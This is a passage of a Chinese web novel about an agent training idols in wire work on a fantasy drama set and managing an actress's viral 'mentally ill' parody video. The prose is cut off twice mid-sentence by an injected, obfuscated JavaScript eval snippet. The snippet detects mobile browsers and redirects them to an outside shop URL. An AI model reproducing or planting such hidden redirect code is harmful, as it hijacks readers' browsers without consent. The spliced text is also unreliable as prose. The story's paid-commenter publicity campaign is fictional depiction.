而在奚亭云的过往经历里,从未出现过威亚这一词汇。 因此在剧组人员帮他穿威亚衣试动作时,他身体僵硬,肢体紧绷着几乎要抽筋。威亚衣紧紧束缚在腰间,紧到让人感觉肋骨都被挤压着,奚亭云感觉呼吸都不顺畅,但也没多说什么。 威亚衣穿好后,还要连接钢丝,一般的“上天入地”只需要两根钢丝即可,可他们所在的【风雨九州】是仙侠剧,飞还只是普通的日常,钢丝通常都是4-6根起步。 他们的打斗招式格外地花哨,尤其是与女主在“大闹阎罗殿”这段剧情里,打斗必须精彩激烈才能凸显出女主的强大和决心。 导演非常看重这段戏份,特意花费大价钱请来了国际级别的武术指导进组,据说曾指导过好莱坞打星,国际功夫武打明星。 六根钢丝上身后,身体的重量便不太受控,钢丝随着指令往上收,身体的平衡被打破,三人平吊在半空,活像三只王八。 “哎哎哎!慢点慢点,”萧子重同手同脚地在空中瞎划拉半天,最后放弃抵抗,手脚垂落着,任由身体被吊起来,“我天,我感觉腰要断了,我动都动不了,怎么做动作啊?” 武术指导满脸嫌弃地给三人示范——吊着六根钢丝原地后空翻,双手作出施法动作后稳稳停在半空,俨然是个高手。 一套动作行云流水,那叫一个漂亮。 萧子重以前是接过仙侠剧,但他那会儿纯群演龙套,一个镜头都没有,更别提吊威亚了。话剧的舞台上吊威亚的情况不多,他根本排不上号,对这玩意也就不熟悉。 安声见武术指导示范的帅气潇洒,跃跃欲试,他拽着钢丝两腿扑腾着努力做了个空翻,没想到腰腹核心没稳住,成了个倒立半空的动作——“救命!!啊啊啊我我转不过来了!!" 萧子重摆烂也摆得有功,抬腿踹了安声一脚,把他踹正了回去。 看着这群不争气的废物,宫欢不断催眠自己:自己找的人,就算是猪也要捧起来。 她转头看向奚亭云那边,他倒是很稳得住,不错,不愧是她看中的人。 看过几眼,宫欢就将三人完全丢给武指,自己抱着电脑去另一边忙活了。 也因为这样,她没看到奚亭云在她走后,板正的背略显僵硬,他缓缓抬起两手,抚上身侧的两根钢丝,牢牢抓紧,额头渗出了些细密的汗珠,细看之下,面部皮肤的毛孔张开,明显是过度紧张的状态。 奚亭云心率加快,浑身血液都在飞快流动,甚至伴随着偶尔的心悸,他压下不适感,悬在半空的两腿发软,他始终保持着仰头往上看的动作,丝毫不敢往下看一眼。 一看,铺天盖地的晕眩便会涌来。 不行,他不能表现出不适应,哪怕是不适应他也要撑住,不能因为他影响其他人的进度。 奚亭云唇色发白,两手像抓着救命稻草似的抓着威亚线,目光死死盯着武术指导,试图分散注意力,去听人讲解动作要点。 好在看三人实在笨,武术指导给工作人员手势,将几人都放了下来。 一落地,奚亭云便腿软得几乎要站不住,单膝跪在地上,一只手撑着地面,缓和着刚才的不适。 萧子重是以一个乌龟趴着的动作落地的,他倒不害臊,翻过身,坐在地垫上大剌剌地和武术指导套近乎:“老哥,你做武术指导多久了啊,我看你这核心太稳了,在半空跟在地上一点儿区别都没有。怎么做得到啊,教教我们呗。” 他们平时的运动量不少,腰腹核心训练更是必备课程。毕竟要练出腹肌,可没想到穿上威亚衣吊到半空了还是这么狼狈。 武术指导是位身高一米八,体型劲瘦有力的老师。 她本来还有点嫌弃这三个名不见经传的小明星,心想着怕是又要费一番心思来教,没想到对方主动放低姿态来求学,是想上进的态度。 “想学啊,保证教会你们。”她露出个意味深长地笑。 这笑容与宫欢的笑容有相似之处,萧子重脸色发白,咽了口唾沫,莫名感觉未来的日子不好过。 萧子重和安声两人有一搭没一搭地和武术老师聊天,没人注意到的角落里—— 奚亭云瘫坐在地,额头的汗滴多得吓人,他默默地擦去那些汗珠,一言不发,装作什么都没发生过,也融入几人的话题里。 接下来的大半个月,三人每日的内容都是吊着威圧在绿棚里到处飞,在空中各种翻转跳跃,一天下来,三人常常胃里翻江倒海,不是去抱着垃圾桶吐酸水,就是脸色苍白,虚弱得不行。 尤其是宫欢还在监督他们的饮食,进组后的饮食更严格,之前偶尔还有放纵餐,现在把控到只有水煮菜水煮肉水煮蛋,其他的一概不许进嘴。每天吐的除了酸水,也吐不出其他东西了。 三人的身形越发消瘦,五官也更立体。 不吊威圧的时候,他们则就拿着各自的专属武器去练习法术动作。【风雨九州】是万众瞩目的仙侠剧,又遇上抠细节的剧组,所有的法术动作都由导演,编剧,技术指导,武术指导等多人参与设计,为了符合角色法器的特色,每个人的法术动作都不同。 三人所饰演的角色手持法器分别为笛,笔,扇,为了配合法术动作,他们的手持物品的熟练度也要非常高,所以基本上从开始训练那天起,这三样东西就成了他们手里常拿的物品,手机都要往后站一站。 日常训练完后,三人一手拿一个法器练习,抛扇转扇的,转笔的,吹笛子要人命的,即使玩手机的时候,法器也不能离开他们三米远,必须要练成人物一体,练出本命法器的自然感。 三人里面消瘦最多的是奚亭云。 宫欢有时坐在旁边看他们训练,在奚亭云被吊至半空时,轻飘飘地一个旋身或是干脆利落的一段‘飞’的动作,总让她不由得感慨。 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薄薄的棉质短T,被威亚衣束缚着,像是穿了件束腰,他的腰身偏薄,即使有一层威亚衣的阻挡,也能看出腰部的纤薄感。 但宫欢知道,他腰腹是有肌肉的,她看到过,在初舞台排练的那时候。他肌肉不是沉重的大块,是轻盈而赏心悦目的,若隐若现地在皮肤上随着呼吸微微鼓动,不知道摁下去是什么手感...... 宫欢坐在马扎上,笔记本压着大腿,她不由得合上电脑,盯着奚亭云又看了会。短短半个月,他的动作已经可以称上一句行云流水,毕竟每天十几个小时的训练,怎么着都该学会了。 奚亭云的角色是拿笔和书卷的探花郎,剧组还没试定妆造型,只是知道一个大概的人物状态,服装根据三人的体型去订做,需要一段时间。 所以宫欢常看见他手中拿着一支血红色的毛笔,木质的笔身有做旧的斑驳血迹,毛笔在他手里转动好几圈都不停,只能看见笔身转出的残影,她惊奇,都没看他怎么动,那支笔便会自己旋转。 他一直在刻苦训练,在湖边,在帐篷,在吃饭休息时间,他要么拿着一张小抄似的纸反复看,要么倒立在墙边很久,说是可以锻炼他的“滞空感”? 有时候在深夜,宫欢半夜睡醒去洗手间,都能听到他的梦呓。 “核心收紧...吐气......不,不是,稳住腰......” 而“一墙之隔”的另外两人,睡得死沉。 她想,他这么拼,肯定很想赚到钱,或许拿到钱买个自己的房子,买车,给家人更好的生活,给家乡修路,这应该是所有‘草根’艺人的理想。 赚到名誉,一跃阶层,成为无数人仰望的存在。 宫欢撑着下巴,目光望着奚亭云的打斗身影走神,她知道别墅里所有人想要改变的东西,他们自己应该也有规划,可奚亭云似乎不一样。 他话少,勤学,却不是急于求成,而像是为了适配什么,才努力去强行让自己学成全能型选手。 一般这样的人,都是想跻身于上流社会中,她见过不少,但奚亭云没跟她要过东西,没借着上位的姿态要她带他去加入名流圈。 没什么想要的人,才最可怕,这样的人她往往满足不了,因为胃口可能无穷大,无法填补。 算了,宫欢摇摇头,实在懒得想那么多,走一步看一步吧,20亿的目标还需要很长一段路要走。 111. 发疯演技1 别墅。 大厅里的落地电视屏里播放着百看不厌的影视剧桥段。 正是雨天,画面呈现出夜里深蓝的暗调,几个穿着警服的人面色严肃地向站在一具尸体前的女人汇报着勘察情况。 她背对着镜头,身体被雨淋得湿透,只能从她垂落身侧的手逐渐攥紧看出来——她在隐忍着情绪。 镜头缓慢地绕着女人转至正侧面,她抬起头,如鹰隼般锐利的视线直视镜头。 无声的台词从她口中吐出:我知道凶手是谁。 轰—— 一阵惊雷轰然落下,打出炸耳的鸣响。 镜头停在这刻,片尾曲随着慢慢往上行进的人员名单响起,这一集播完了。 “啊,太经典的一段剧情了,”甘惊鸿抱着一桶爆米花吃得起劲,意犹未尽地回想刚才的剧情片段,往嘴里连塞几口爆米花,转过头看身侧的人,“你演这段的时候真的知道凶手是谁吗??” 与她同坐在一张沙发上的关清英喝了口茶,她看着【重刑之下】片尾曲里的画面,回忆着:“我完全不知道。” 甘惊鸿当即睁大眼睛,八卦起来:“难道那些传闻都是真的!?” 关清英偏头,疑惑道:“什么传闻?” “你们拿到的剧本只有当前拍摄的一部分,并不是全部的剧本内容,所以有时候连你们自己都不知道凶手是谁,”甘惊鸿说得兴起,嘎嘣嘎嘣咬着爆米花,“是不是真的呀?” 比起影视剧里的剧情,现实的拍摄故事更吸引人。 关清英没有卖关子,她目光望着半空,继续回忆:“确实是,导演给我们的剧本只是近期要拍的部分,而且要求我们不能对其他演员透露自己的剧情,这就给我们增添了很多的困难。” “我们对其他演员的演戏方式并不熟悉,需要对戏来磨合,可一对戏就知道了对方的剧本内容,所以很多时候对戏也是不被允许的。” 甘惊鸿体验过对不了戏,自己唱独角戏的时刻,那有多费心思,她最知道了。 “不能对戏,也不知道对手演员的剧情,那你们拍的时候不会乱套吗?”甘惊鸿无法想象那场面,两眼亮晶晶地看着关清英。 关清英顿了顿。 那些拍摄期间的困难与麻烦在回想时有些模糊,像隔了一层玻璃,并不清晰。似乎是随着时间淡去了。 她摇头:“我们经常一段剧情磨很多遍,导演从不干扰我们的节奏,只让我们按照剧本来,通常她不满意的时候,就会一直拍,一直NG,直到拍出她想要的感觉。” “啊?那和猜有什么区别?”甘惊鸿讶异,“猜剧情,猜对手演员会怎么接戏,这难度也太高了。” “导演是个非常有追求的人,刚开始【重刑之下】1-3季播出的时候效果并不理想,剧组内部,还有很多同行的质疑都像一座大山,牢牢压着她,”关清英说,“刑侦与悬疑并存的影视剧不多,而且大部分经常用‘伟光正’来结尾。” “她那时候找我出演‘陈队长’的时候说,这部剧不同于市面上的任何电视剧,拍摄的过程中也会异常艰辛,”关清英即使坐在沙发上,也仍是坐姿端正,“她问我怕不怕。” 对于那时仍在上中央戏剧学院的关清英来说,她那时候20岁,还没毕业,就接到了导演的橄榄枝。 说怕其实是有的,但比起怕,更多的是跃跃欲试,年轻人的一腔热血正愁无处施展,当然无畏艰难险阻,前路漫漫,她也要闯。 “那你是怎么说的?”甘惊鸿问。 “我说,”关清英笑,“你敢找我,我就不怕。” 这一拍就是9年10年,一个演员最佳的演艺之路尽数扑在这部作品上面,【重刑之下】不是一直火的,刚开始无人问津,剧组穷到请不起替身,所有高难度动作都要演员自己来。 爆破、沉海、闯过枪林弹雨,顶着风雨在山路里暴走一夜,那些拍摄的分分秒秒,关清英都记得清楚。 记忆随着她的回忆而不断涌现,关清英有些沉默地低下头,过了片刻起身,说着:“我去休息会,你先看吧。” 甘惊鸿愣了愣才应下,她看着关清英走远的背影,隐约感知到了什么,可又说不太清,她没办法太清楚的描述出一直萦绕着关清英的,那种挥之不去的感觉。 但她清楚一点,关清英一直没有走出来。 - 最近男团和赵莉莉都有行程,家里就只剩甘惊鸿和关清英。 宫欢时常给她们一些资源挑选,她从不强迫她们接剧本,将选择权完全的交给她们。 甘惊鸿一直没看到合适的角色,虽说她不挑剧本,但是有了规划就不同了,想接好角色,就要每一步都走得精巧,走得妙。 她第一个荧幕角色是青春时期的‘单虹’,给一线大咖做配,第二个是正剧中乡村题材里面的配角,扩宽了戏路,证明她并不是只能演傻白甜。 那第三个就格外的重要。像是下棋,落子要使前一二颗棋子得到最大的发挥。 当然了,这些话是关清英、赵莉莉、宫欢等人不断灌输给甘惊鸿的,她现在才能得出这样的结论,前辈们为她铺路计划,她自然也要慎重。 可一个精妙的角色怎么好得来呢,资源是一个问题,其次就是目前影视圈哪怕有好本子,也没有好班底,没有好投资方。 一部费心费力不讨好的项目,和赚钱叫座的商业搞笑项目,聪明人都知道选哪个。 甘惊鸿只能一边多看影视剧,一边磨练演技,再就是等待了。 谁也不知道会等多久,没戏拍的演员太多。 于是这段时间里,除了被关清英拉去做各种体能训练外,她就常常看电影,看话剧、影视剧,看完之后,就是模仿学习,学台词。 她一遍遍练习微表情,面部的肌肉在什么时候抽搐最合适,眼泪要怎么才能横过鼻梁落下,情绪的渐进式爆发过程。 对镜练习算是基础日常,早起,甘惊鸿都要在洗手间耗费一个多小时的时间,睡前,也要折腾个把小时。情绪的最佳释放点永远在夜晚,夜深人静,思绪全然沉寂下来,甘惊鸿就常常在深夜练习情绪如何释放。 可每次练完后,她也不确定有没有长进,想了想,甘惊鸿索性就将手机支在一角,对着手机开演,假装手机是镜头。 这两天她刚看完一部精神病人的影片......精神病人? 甘惊鸿脑中蹦出些新奇的想法,她站在手机镜头前,点下了录制键。 表情先是平静的,她直视着镜头,两眼发直,整张脸上只有嘴在动:“我最近发现了一件奇怪的事情......” ...... 接下来的大半个月内,甘惊鸿拍摄了上百个模仿视频,她不停拉出最开始的和最近的表演视频对比,发现明显的进步后,心情便肉眼可见的好起来。 有些精彩的表演内容只有自己看颇为可惜,甘惊鸿想着,手指打开了音符软件,点击了发布视频按钮。 微博的账号是被要求拿去给公司管理的,不过其他的社交账号宫欢那边管得不严,只让他们不要乱发擦边视频,其他随意。 接连发了几条表演视频后,甘惊鸿退出软件,坐在窗台边的沙发上继续翻看有没有合适的角色剧本。 天色渐晚,落地窗外的粉紫色烟霞衔接着浅蓝,几个眨眼间便被染成墨蓝色,困意袭来,甘惊鸿看着那些长篇大论的台词,眼皮愈发沉重,倚着柔软的沙发,慢慢睡去。 - 再次醒来,是被接连不断的手机铃声唤醒。 甘惊鸿迷迷糊糊地在沙发缝隙中摸到嗡嗡震动的手机,抬头望见微微亮的天,以为自己才睡了10来分钟,接起电话含糊不清地喂了一声。 对面当即嚎了一声:“小甘!你都干什么了!!?” “嗯?”甘惊鸿看了看来电屏显,显示是欢姐,她又将手机抵在耳边,“我?我睡觉了啊。” “不是!”手机那头的人似乎急得不行,“睡之前干嘛了!” 甘惊鸿蒙头蒙脑:“看剧本。” 那边沉默了一瞬,可以听见宫欢的深呼吸:“你登上某音看看。” “啊?”甘惊鸿边问边滑开手机,点开音符软件,刚一进去,热门视频推荐的便是十分眼熟的一个场景,十分熟悉的一个她。 甘惊鸿脑中轰得炸开大片空白,她不敢置信道:“不、会、吧!” “所以,你都干嘛了!?”宫欢再也憋不住,再次问道。 “这个,”甘惊鸿战战兢兢,“就说来话长了。” 首页短视频仍在播放着,是甘惊鸿这段时间为了磨炼演技所拍下的,此刻,视频右侧的爱心点赞量已达百万,评论量更是不断增加,而视频里,她的表演,堪称神——经。 那是她首次尝试的精神病患者演法,融合了看过的影片纪录片,最后呈现出来的演法。 “我最近发现了一件奇怪的事情,”视频里的女人说,她穿着宽松的睡衣,肩膀微微耸着,苍白到没有血色的脸上没有表情,她神情像是发着癔症,漆黑的眼瞳盯着手机镜头,一字一句地说,“我家里有人。” 说到后面这句话,她身体极其不自然地抽动了下,头立刻扭向了另一侧,整个人像是探听到了什么可怕的声音,身体顿时静止着。 她眼珠有些神经质地转动,漆黑的直发披在身上,将脸遮住了大半。 视频上方的弹幕都在纷纷发着:【主包不会遇到事儿了吧!?】 【快报警,是不是家里进人了?】 【不对,她知道家里有人,那还怎么奇怪了。】 手机镜头对着女人的侧脸,她一动不动地保持了四五秒,僵着脖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126402|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颈扭过头来,对着视频瞪大眼睛,漆黑无神的眼眸凑到镜头前,说:“嘘......它来了,我听见了。” 视频里只有甘惊鸿放大的上半身,她始终拉着脸,没有表情,只有眼珠和嘴巴在动,无声地给人一种阴嗖嗖的观感。 视频里的光线很暗,模糊了背景,也不知是心理暗示的作用,还是有人起哄,弹幕评论里不少人都在说真听到了。 只见甘惊鸿一动不动地缩着肩膀,眼睛没看镜头,只是斜着看镜头外的方向。 持续三分钟,连眼睛都不眨一下,弹幕都以为她视频卡顿了,但只有她微弱的呼吸声证明,视频仍在拍摄中。 视频内传出的阴沉感使人不自禁地跟着甘惊鸿一起屏住呼吸,弹幕不断地追问着: 【到底看见什么了啊,这么神兮兮的。】 【她已经连续一分钟没有眨眼了!!眼睛还瞪那么大,我感觉她眼珠子都要瞪出来了。】 【视频里面好安静啊,感觉没其他人,就是主包在故弄玄虚。】 在弹幕质疑之时,视频里紧接着传出尖利的叫声,画面瞬间变得模糊,镜头强烈的摇晃着,看不清的人影乱晃,弹幕顿时一片“啊啊啊”、“什么鬼东西”、“啊啊妈妈!!”之类的内容飞速略过。 喘息声呼哧呼哧地响着,带着踢踏拖鞋的动静,这段镜头画面几乎无法看,全是模糊的,但弹幕却不减反增。 因为那呼吸声太真实了,女人的呼吸偶尔还带着吞咽唾液的停顿,跑了片刻,只听见吱呀一声的动静,视频里面安静不少,镜头经历过模糊后突然出现女人放大的脸,她的脸占据了整个屏幕,僵硬而死板。 “......我好像找到它了。” 随着这句话落下,女人的嘴角以极慢的速度缓缓勾起,她的唇周肌肉无意识抽动,更显这个笑容的诡异。 镜头慢慢移动着,她的脸移开了大半,弹幕一片“保护我!”、“啊啊来了来了!”。 只见移开的半边镜头里面,渐渐显露出了那诡异的“它”。 圆耳朵,大脸盘,毛茸茸的眉毛,还有一个大鼻头,全貌出现——这是一只草莓熊。 弹幕: 【......】 【所以你刚才尖叫,逃跑,是因为这只熊?】 【......无话可说,我心脏都开始扑通扑通了,结果你告诉我是一只玩偶??】 【主包有点病。】 而被弹幕埋怨的甘惊鸿将脸凑到草莓熊旁边,和它贴贴,那肌肉抽动的笑容带着甜蜜,她仍然睁着无神空洞的眼睛,一边用头蹭着草莓熊,一边反复重复:“找到它啦,找到它啦,找到它啦......” 这下网友们明白过来了,合着不是主包被吓疯了,是她本来就疯。 短短一段视频里,弹幕风向转变得极快,这会儿又都是怜爱的言论。 【真想抽自己,我刚才居然怪她,现在谁都可以分享生活,包括精神病人,你开心就好。】 【草莓熊是她唯一的朋友!所以主包找不到它的时候才会尖叫,啊啊啊又是泪目的一天。】 【@精神病医院哪家强,还得看北强快来赛博义诊了,这姑娘的病有没有的治!】 在甘惊鸿重复了十几遍的“找到它啦”后,视频临近结尾,结尾只有一两帧的画面转变,如果有人耐心看到最后,便会看见甘惊鸿绷不住笑出来的神情。 但网友们重在参与,忽略结果,所以并没人在意这个主包的“精神病人”身份是真是假。 视频越传越广,一度登上了实时榜热门,评论与点赞量激增,甚至有人开始阴谋论,说其实真有某个看不见的东西进到了草莓熊的身体里,只是,只有主包看得见,其他人看不出来的。 有心人点进了甘惊鸿的主页,只有这一条视频,头像和名字也看不出来,而有些经常刷综艺的人在看完视频后,总觉得视频里的女人很眼熟。 【没人发现主包和之前一档综艺里的素人很像吗??】 【什么综艺啊,这个人就是之前【皎皎月明】里饰演曲静初的青春时期的演员!本来我还不确定,刚才又去翻了那部电影,就是她!】 【主包是演员?她是不是演的啊,感觉不像,谁会自己拍这么神经的视频发网上?】 【不都说娱乐圈里的人很癫吗,主包是不是被逼得有点精神病了?】 【天啊,娱乐圈就是大染缸,谁进去都会染得一身脏,主包太惨了。】 登上实时榜后,评论区开始解码,认出了甘惊鸿的身份,甚至猜测她遭遇了娱乐圈PUA,霸凌等等的猜测,才会发出这条视频来求救。 此刻,翻看着乱成一锅粥的私信评论,甘惊鸿陷入了沉默。 她该庆幸没人知道她的经纪人是欢姐,不然,宫欢可能又要遭遇一次,全网抵制。 112. 发疯演技2 宫欢是怎么都想不到有这一出的。 几小时前的凌晨,三人解开威亚,双脚终于着了地,一个扶着一个,拖着疲惫的身躯跟着宫欢往帐篷的方向走,累得连说话都没力气。 只能听着宫欢絮絮叨叨:“等下什么都不准吃,这都三四点了,吃什么宵夜,一吃胖十斤,上镜胖20斤,想火就给我忍着。” 噗通一声,宫欢回头一看,是安声栽倒在地,爬都爬不起来,就地睡着,而旁边的奚亭云和萧子重本来互相搭着肩搀扶着走路,侧头看了看倒地的安声,萧子重索性把他当垫子,一仰身顺势倒了下去,躺下就着。 两人睡得死,甚至还有轻微的鼾声,宫欢一整个嫌弃,走近了几步,伸脚轻轻踢了踢自家大外甥——安声睡得死,一点反应都没有。 “也太不抗造了,”宫欢撇撇嘴,目露嫌弃,“不就是吊了十几个小时的威亚吗?” 说完这话,打着鼾的萧子重强撑着精神,抬起手抗议似的指着宫欢:“——有本事,你试试!”接着便又睡死了过去。 宫欢轻哼,她看了眼“唯一幸存”的奚亭云。 他就还好好的,只是眼里的疲态尽露,眼周有一圈淡淡的青黑色,熬了几个大夜,不显狼狈油腻,反而有种颓废的文艺气息——看,这就是瘦的好处! 宫欢深以为然,在心里下定决心,一定要让萧子重和安声再瘦十斤! 她目光虽停留在他身上,可神早就跑远了。 奚亭云往旁边两人那瞥了眼,周围静悄悄的,相隔的帐篷都灭了灯,在休息,他收回视线,看她发飘的眼睛,有些意动。 上次他问她,要不要接吻,她拒绝得好干脆。 是问法不对吗,还是地点不对? 回想前两次的吻,似乎都在没有人的时候,看来,她还是更喜欢私密点的环境,虽然喜欢刺激,但也要注意地点。 这会周围静悄悄,没有人,又是深夜,是个很好的时刻。 奚亭云想着,挪动脚步靠近。他每次靠近的方式都很心机,两手先环过来,似触未触地轻扶着她的手肘,她要退的话,他随时可以将她带回来,她要前倾,也能很快拥紧。 既不冒昧触碰,也不让她随意离开。 但这回,宫欢很紧张,她看他要过来,忙退后半步,警戒地看了看旁边的两人,像是暗示,低声道:“你干什么!?” 奚亭云眼神露出受伤的神态,他微微皱下眉头,还叹了口气,像是被宫欢这句话伤到,用这种无害又无辜地模样再往前近了一步,宫欢果然没再退了,他先说:“我好累,欢欢...让我靠一靠,好吗?” 宫欢半张着嘴想说什么,没来得及,他的头便倾靠过来,有些沉地压在她肩头。 她有点别扭,也害怕,怕被其他人看见,那她就是有十张嘴也说不清。 “你累的话,我们先回帐篷去,这样就可以休息了。”宫欢动了动身体,才忽然发觉,她几乎是被他半抱着的,他手臂长,环绕大半个身体,大概是维持着礼貌,手始终没落在她腰后,只是掌心包裹着她的手臂。 手心的热度有些高。 奚亭云将脸转向她,枕着她肩头,眼睛眨动的频率都能感受到,他眼睫浓密,像天然的眼线画至眼尾,勾起一个小小的弧度。 “休息的时候,你可以不一直背对着我吗?”他问。 宫欢心里一个咯噔,随即脸上迅速做出了条件反射的掩饰:“哈哈哈哈哈说什么呢,我习惯侧着睡。” “你昨天都落枕了。” “......”宫欢笑不出来了,“那你能不一直侧着身体朝我这边睡吗?” “不能。”奚亭云说,“我想看你。” 宫欢:“??”她第一次见比她双标的人,差点气笑。 他最近有点蹬鼻子上脸,太嚣张了,宫欢觉得必须要压压他的势头,她于是伸手捏住奚亭云的下巴,强行将人从肩头卸下来。 他也乖乖配合,被捏着下巴端详,眼眸微垂,似是在看哪里。 宫欢傲气地左右打量他这张脸,皮肤细腻,下颌流畅,唇薄,唇形却好看,她虽是在看唇,目光却无意略过他脖颈处,修长白皙的颈间有几颗小痣,极性感,微凸起的喉结像刀刃,在皮下缓缓滚动,她清楚地听到了吞咽声。 霎时,宫欢抬眸看他,对上他的眸光——不知看了多久她的唇。 氛围不知不觉变得暧昧,宫欢紧张地屏住呼吸,手指无意识地摩梭他下巴,一路摸至他唇角,他像是无意识地两唇微分,露出里面的白齿肉舌,舌尖一点点探出来,非常涩,她呼吸莫名急促,眼睛舍不得移开面前的光景。 他明明什么都没做,她却觉得被勾着往下走。 她又看他一眼,四目相对,像是得到了隐秘的讯号,他低头,她仰头,呼吸炙热,将要触碰—— 叮叮铃铃铃!!! 手机铃声响起,宫欢吓得顿时清醒,手忙脚乱地推开奚亭云,旁边地上的两人也被吵得有些醒了,她像拿着烫手山芋似的将手机拿出来,来电屏显是高姐。 宫欢心口扑通扑通地,她不敢看奚亭云,直接接起手机:“什么事?” “小甘那边有情况,她在短视频平台上发了个视频,有爆火的迹象,你快看看,有没有可以操作的地方。” “哦哦,好。”宫欢感觉手指都在发麻,她答应下来,挂断电话,往旁边看了眼,奚亭云也在缓和着情绪,他脸上还有些红...... 宫欢强迫自己收回眼,地上瘫着的两人还想翻个身继续睡,她上前强行把人拽起来,装作正常:“都别睡了,给我回帐篷,睡在这像什么样子。” 萧子重眼睛都睁不开,半爬半拖地往帐篷那边走,安声则抱着他的腿,被人拖着走。 两人走了一阵,宫欢和奚亭云还在原地。 宫欢轻咳了声,她也不敢去看他,说了句“早点休息”,就冲回帐篷里拿了办公笔记本,又冲出来往办公的帐篷那边跑,那边灯火通明,许多剧组人员都在忙。 她脚步匆匆,目视前方,不敢有一点偏移。 奚亭云整个过程没说一句话,只是看着她跑远了。 直到看不见她的身影,他才双手慢慢覆盖住整张脸蹲下了身,胸腔缓慢沉重地起伏着,是在大口呼吸喘气。 差一点,他又可以吻到她了。 有些可惜。上次也是,湖边微风的青绿时刻,他没能哄得她接吻,那里真的很合适,奚亭云可以肯定,只要宫欢不坚定,那会成为非常美好的瞬间,他便能在她的记忆里留下深刻的一次记忆。 可惜没成功。 这次虽然有碍事的人,但氛围恰到好处,他甚至有把握她会吻他。 夜晚的宫欢心更软,情绪容易被感染,她会失神的,会失控的。 但又是可惜,一通来电打断了暧昧旖旎的氛围。 她好清醒,迅速地抽离出他苦心营造的暧昧,像什么都没发生过一样,装作没看见他——好像这样就能抹去她刚才的意动情乱。 他掩着脸笑了笑。 接二连三的失败并未使奚亭云感到挫败,相反,他窃喜,他愉悦,他甜蜜。 她在为他失神,为他慌乱,愈是欲盖弥彰地躲着他不看他,就愈证明了,在她心里,有他的位置。 - 在6.10日这天,霸占了短视频实时热搜榜一的是:精神病人分享生活的方式。 自从有人解码了视频博主是甘惊鸿后,那爆火的视频评论区内涌入了大批网友,玩梗的,看乐子的,连之前的cp粉都追了过来。 评论区里有人将【皎皎月明】电影中的甘惊鸿出现的画面截图发布出来,并好奇追问:【博主之前是个清纯小白花啊,怎么这个视频里神叨叨的?】 【附议!感觉就是她被圈里人给折磨崩溃了。】 【啊啊啊啊我新养的女鹅怎么变成这样了!!?】 视频一度登上热搜,不过好在排名靠后,可短视频的阅览量几乎高达百万,与热搜没什么区别了。 甘惊鸿一整天都魂不守舍,感觉自己闯了个大祸,她给宫欢打去了四五个电话,对面都在忙线中,发了许多条微信消息,宫欢也都只是回几个字。 在第六个电话打过去时,对面终于接了。 “欢姐!”甘惊鸿忙不迭叫她,“我,我是不是闯祸了?我真的没想到会有这么多人看。” 宫欢那边的声音有些杂乱,但能听出来是助理们的声音,大概她又在开视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宫欢微微勾着嘴角笑,歪了歪头,挑眉道:“开始吧,各位。” 随着这句话落下,视频里又开始吵闹起来,但都在按照预定方案执行中—— 营销公司买通了七八家娱乐媒体,将宫欢选定的【无意分享生活,竟爆火被全民熟知】、【新晋小花竟有精神疾病在身】等几条文案内容发过去,约定了三天内分不同时间段引流至甘惊鸿的视频里。 水军兵分八路,四路玩梗【分享生活的方式】,发布各类视频带话题,将这则视频带来的梗炒到人人皆知的程度。四路刷评论,不断重复甘惊鸿之前是什么形象,现在却在这个视频里完美颠覆之前的形象。 高姐与各位助理则随时跟进度,收集最近的节奏风向的方向发给宫欢,好让她做出下一步的规划。 于是短短几小时里,本来上百万的视频被转发十几万次,阅览量达五百万,已经成为明星爆款视频里排的上号的了。 当然,流量越大,黑的越多。 不少人已经觉得甘惊鸿的视频被传看的太过夸张,也不喜玩梗的跟风人士,路人便入局抵制起来。 而这并不影响什么,宫欢反而觉得这才是最真实的一步。 她的营销方式向来狠,要做就做最前面的那个,绝不屈居中间位,这也就使宫欢旗下的艺人口碑两极分化,越这样越好,才会有讨论度。 网友们总喜欢聊这些,人们总是喜欢八卦,那就让他们看个够。 仅仅是这些还不够,为了让网民们对此次娱乐事件记忆深刻,宫欢让水军们继续营销“神经病式演技”,以后,这个符号就与甘惊鸿绑定了。 既不自持甚高,也不会显得过于谦虚,而是用一种玩笑的方式来描述甘惊鸿,也符合了这次爆火的视频主题。 处理营销的期间,宫欢一直守在电脑前,视频通话一直没断过,时刻关注着舆论动向。她没有去买微博热搜,而是将钱都花在了几大短视频平台,引无数路人入局,走过路过的网民哪怕不想参与进来,却总会好奇,对这个名叫‘甘惊鸿’的演员产生一些期待感。 一旦有了期待感,你就会不自觉地关注她。 达到这些目的后,那么,此次的营销,就是最完美的。 113. 风雨九州6 桂林。 从三人进组后已有大半个月,每天的时间安排满满的,除了练习武打戏,就是跟着表演老师学习。 宫欢请的这位是来自中戏的专业授课老师,不少一线演员都是从她手下出来的,为了请人跋山涉水地来剧组,宫欢花了不少钱。 可这位老师平时不进组,基本都在学校待着,因此到了剧组总是三天两头的水土不服。 今天食不下咽,明天整夜失眠,后天高烧不起。 三人的表演课上得稀稀拉拉,宫欢来检查作业时,沉默一声更比一声高。 萧子重她就不说了,奚亭云也勉强能看,安声那跟闹着玩一样的表演是从哪儿学的!?? 哭戏像笑,笑也不值钱,小动作多到能跳手指舞了! 宫欢掐了掐人中,让自己保持冷静,她抬手打了个停止的手势,于是对面在地上撒泼打滚表演死去活来的安声停住了动作,不解地问:“怎么啦欢欢姐,我演到精髓了嘛?” 我看你是想抽我骨髓。 宫欢忍了忍,没忍住:“我明天就给你们换个表演老师。” 三人面面相觑,没人反对,毕竟这段时间他们可谓是自学成才。 